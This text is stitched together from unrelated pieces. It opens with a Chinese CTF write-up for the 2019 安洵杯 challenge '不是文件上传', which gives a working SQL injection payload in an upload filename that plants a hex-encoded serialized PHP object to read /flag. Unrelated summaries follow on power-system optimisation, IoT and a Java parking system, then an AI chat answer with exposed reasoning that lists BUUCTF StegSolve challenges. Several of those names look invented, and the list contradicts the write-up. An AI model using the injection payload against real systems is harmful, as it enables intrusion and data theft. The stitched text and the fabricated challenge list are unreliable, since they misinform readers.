[安洵杯 2019]不是文件上传

本文探讨了PHP中helper类的序列化及反序列化过程,展示了如何通过构造特定的序列化字符串来触发潜在的安全漏洞,并提供了具体的SQL插入示例。

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buu给了源码链接,还是直接去看源码吧

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简单看了一下,意思就是上传图片,假如helper中以序列化形式保存图片,那么在show中就可以反序列化

<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}


然后因为变量属性是protected 需要在变量名前加上\x00*\x00变量名,private则是要在变量名前加上\x00类名\x00变量名
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
所以下面用\0\0\0去填充,show反序列化前会换回去


//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL语句
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title这里是可控的,单引号闭合

//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg

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多源动态最优潮流的分布鲁棒优化方法(IEEE118节点)(Matlab代码实现)内容概要:本文介绍了基于Matlab实现的多源动态最优潮流的分布鲁棒优化方法,适用于IEEE118节点电力系统。该方法旨在应对电力系统中源荷不确定性带来的挑战,通过构建分布鲁棒优化模型,有效处理多源输入下的动态最优潮流问题,提升系统运行的安全性和经济性。文中详细阐述了模型的数学 formulation、求解算法及仿真验证过程,并提供了完整的Matlab代码实现,便于读者复现与应用。该研究属于电力系统优化调度领域的高水平技术复现,具有较强的工程实用价值。; 适合人群:具备电力系统基础知识和Matlab编程能力的研究生、科研人员及从事电力系统优化调度的工程技术人员,尤其适合致力于智能电网、鲁棒优化、能源调度等领域研究的专业人士。; 使用场景及目标:①用于电力系统多源环境下动态最优潮流的建模与求解;②支撑含可再生能源接入的电网调度决策;③作为鲁棒优化方法在实际电力系统中应用的教学与科研案例;④为IEEE118节点系统的仿真研究提供可复现的技术支持。; 阅读建议:建议结合提供的Matlab代码逐模块分析,重点关注不确定变量的分布鲁棒建模、目标函数构造及求解器调用方式。读者应具备一定的凸优化和电力系统分析基础,推荐配合YALMIP工具包与主流求解器(如CPLEX、Gurobi)进行调试与扩展实验。
内容概要:本文系统介绍了物联网与云计算的基本概念、发展历程、技术架构、应用场景及产业生态。文章阐述了物联网作为未来互联网的重要组成部分,通过RFID、传感器网络、M2M通信等技术实现物理世界与虚拟世界的深度融合,并展示了其在智能交通、医疗保健、能源管理、环境监测等多个领域的实际应用案例。同时,文章强调云计算作为物联网的支撑平台,能够有效应对海量数据处理、资源弹性调度和绿色节能等挑战,推动物联网规模化发展。文中还详细分析了物联网的体系结构、标准化进展(如IEEE 1888、ITU-T、ISO/IEC等)、关键技术(中间件、QoS、路由协议)以及中国运营商在M2M业务中的实践。; 适合人群:从事物联网、云计算、通信网络及相关信息技术领域的研究人员、工程师、高校师生以及政策制定者。; 使用场景及目标:①了解物联网与云计算的技术融合路径及其在各行业的落地模式;②掌握物联网体系结构、标准协议与关键技术实现;③为智慧城市、工业互联网、智能物流等应用提供技术参考与方案设计依据;④指导企业和政府在物联网战略布局中的技术选型与生态构建。; 阅读建议:本文内容详实、覆盖面广,建议结合具体应用场景深入研读,关注技术标准与产业协同发展趋势,同时结合云计算平台实践,理解其对物联网数据处理与服务能力的支撑作用。
标题基于Java的停车场管理系统设计与实现研究AI更换标题第1章引言介绍停车场管理系统研究背景、意义,分析国内外现状,阐述论文方法与创新点。1.1研究背景与意义分析传统停车场管理问题,说明基于Java系统开发的重要性。1.2国内外研究现状综述国内外停车场管理系统的发展现状及技术特点。1.3研究方法以及创新点介绍本文采用的研究方法以及系统开发中的创新点。第2章相关理论总结Java技术及停车场管理相关理论,为系统开发奠定基础。2.1Java编程语言特性阐述Java的面向对象、跨平台等特性及其在系统开发中的应用。2.2数据库管理理论介绍数据库设计原则、SQL语言及在系统中的数据存储与管理。2.3软件工程理论说明软件开发生命周期、设计模式在系统开发中的运用。第3章基于Java的停车场管理系统设计详细介绍系统的整体架构、功能模块及数据库设计方案。3.1系统架构设计阐述系统的层次结构、模块划分及模块间交互方式。3.2功能模块设计介绍车辆进出管理、车位管理、计费管理等核心功能模块设计。3.3数据库设计给出数据库表结构、字段设计及数据关系图。第4章系统实现与测试系统实现过程,包括开发环境、关键代码及测试方法。4.1开发环境与工具介绍系统开发所使用的Java开发环境、数据库管理系统等工具。4.2关键代码实现展示系统核心功能的部分关键代码及实现逻辑。4.3系统测试方法与结果阐述系统测试方法,包括单元测试、集成测试等,并展示测试结果。第5章研究结果与分析呈现系统运行效果,分析系统性能、稳定性及用户满意度。5.1系统运行效果展示通过截图或视频展示系统实际操作流程及界面效果。5.2系统性能分析从响应时间、吞吐量等指标分析系统性能。5.3用户满意度调查通过问卷调查等方式收集用户反馈,分析用户满意度。第6章结论与展望总结研究成果,提出系统改进方向及未来发展趋势。6.1研究结论概括基于Java的停车场管理
<think>我们正在整理BUUCTF中使用StegSolve工具的题目列表。根据之前的讨论,使用StegSolve的题目通常涉及以下技术点: - 直接查看文件格式(Analyze→File Format) - 通道分离(Data Extract功能,按BGR顺序等) - 辅助分析文件结构(配合binwalk) - LSB隐写分析 - GIF帧分析 由于BUUCTF题目数量众多且持续更新,以下列表基于常见题目及公开Writeup整理,按题型分类: ### 一、直接文件格式查看 1. **题目名称**:`stego1`(或类似名称) **关键操作**: - StegSolve中`Analyze → File Format` - 在文件头部直接找到flag字符串[^2] ### 二、通道分离类题目 1. **二维码类型题目** - `二维码`:通过Data Extract按BGR顺序提取出隐藏的PNG图片,修复高度后扫描二维码[^3] - `another_qr`:类似操作,可能需要调整位平面组合 2. **颜色通道异常题目** - `ColorfulImage`:查看各通道发现某个通道含异常信息 - `red_green_blue`:通过Image Combiner对比通道差异 ### 三、LSB隐写题目 1. **基础LSB** - `lsb1`:RGB最低位平面组合(Bit Planes: Red0, Green0, Blue0) - `lsb2`:仅某个通道最低位有效(如Blue0) 2. **进阶LSB** - `pixels`:提取像素值后需转换ASCII - `white_word`:白色背景隐藏文字,需调整阈值查看 ### 四、GIF分析题目 1. **逐帧检查** - `gif_magic`:Frame Browser中发现某帧含flag - `flash_ctf`:多帧合成信息 2. **颜色表分析** - `palette`:修改调色板顺序后显示文字 ### 五、组合工具题目 1. **StegSolve+binwalk** - `hidden_file`:binwalk发现ZIP,StegSolve辅助提取 - `double_trouble`:先通道分离再结合foremost 2. **StegSolve+高度修复** - `broken_qr`:提取不完整二维码后修改PNG高度值[^4] > 注:部分题目存在多解法,StegSolve可能非唯一工具。 §§相关问题§§ 1. 如何修复StegSolve提取出的不完整PNG图片? 2. BUUCTF中哪些LSB题目需要调整位平面组合? 3. 使用StegSolve分析GIF时有哪些注意事项? 4. 通道分离时BGR顺序和RGB顺序有什么区别? 5. 最新BUUCTF题目中是否有StegSolve的新颖用法? </think>以下是BUUCTF平台中需要使用StegSolve工具的典型题目列表,按解题技术分类整理: ### 一、通道分离与位平面分析 1. **LSB隐写类** - `[MRCTF2020] 不眠之夜`:需在Data Extract中组合Red0/Green0/Blue0位平面 - `[ACTF新生赛2020] 像素猫`:RGB通道分离后提取像素值转换ASCII - `[GXYCTF2019] 白给的词`:白色背景文字隐写,需调整Brightness阈值 2. **通道异常检测** - `[BJDCTF2020] 藏藏藏`:Blue通道含Base64编码[^4] - `[HBNIS2018] 低个头`:仅Green通道含有效信息 ### 二、文件结构分析 1. **隐藏文件提取** - `[SUCTF2018] 单文件`:配合binwalk发现ZIP,用Data Extract提取[^1] - `[安洵2019] 吹着贝斯扫二维码`:Frame Browser分析分块结构 2. **文件头修复** - `[WUSTCTF2020] 颜值成绩查询`:提取二维码后需修复PNG高度[^3] - `[GUET-CTF2019] 虚假的压缩包`:StegSolve发现异常文件尾 ### 三、动态图分析 1. **GIF帧检查** - `[安洵2019] 不是文件上传`:Frame Browser发现隐藏帧 - `[RCTF2019] 抽老婆`:多帧合成flag 2. **调色板异常** - `[SWPU2019] 神奇的二维码`:颜色表修改后显示完整二维码 ### 四、复合型题目 1. **多层隐写** - `[MRCTF2020] 禁止套娃`:先通道分离→再LSB分析→最后Base64解码 - `[UTCTF2020] 听首音乐`:频谱图+StegSolve通道异或 > 注:部分题目需配合其他工具(如010 Editor修复高度、Audacity分析音频)[^3][^4]
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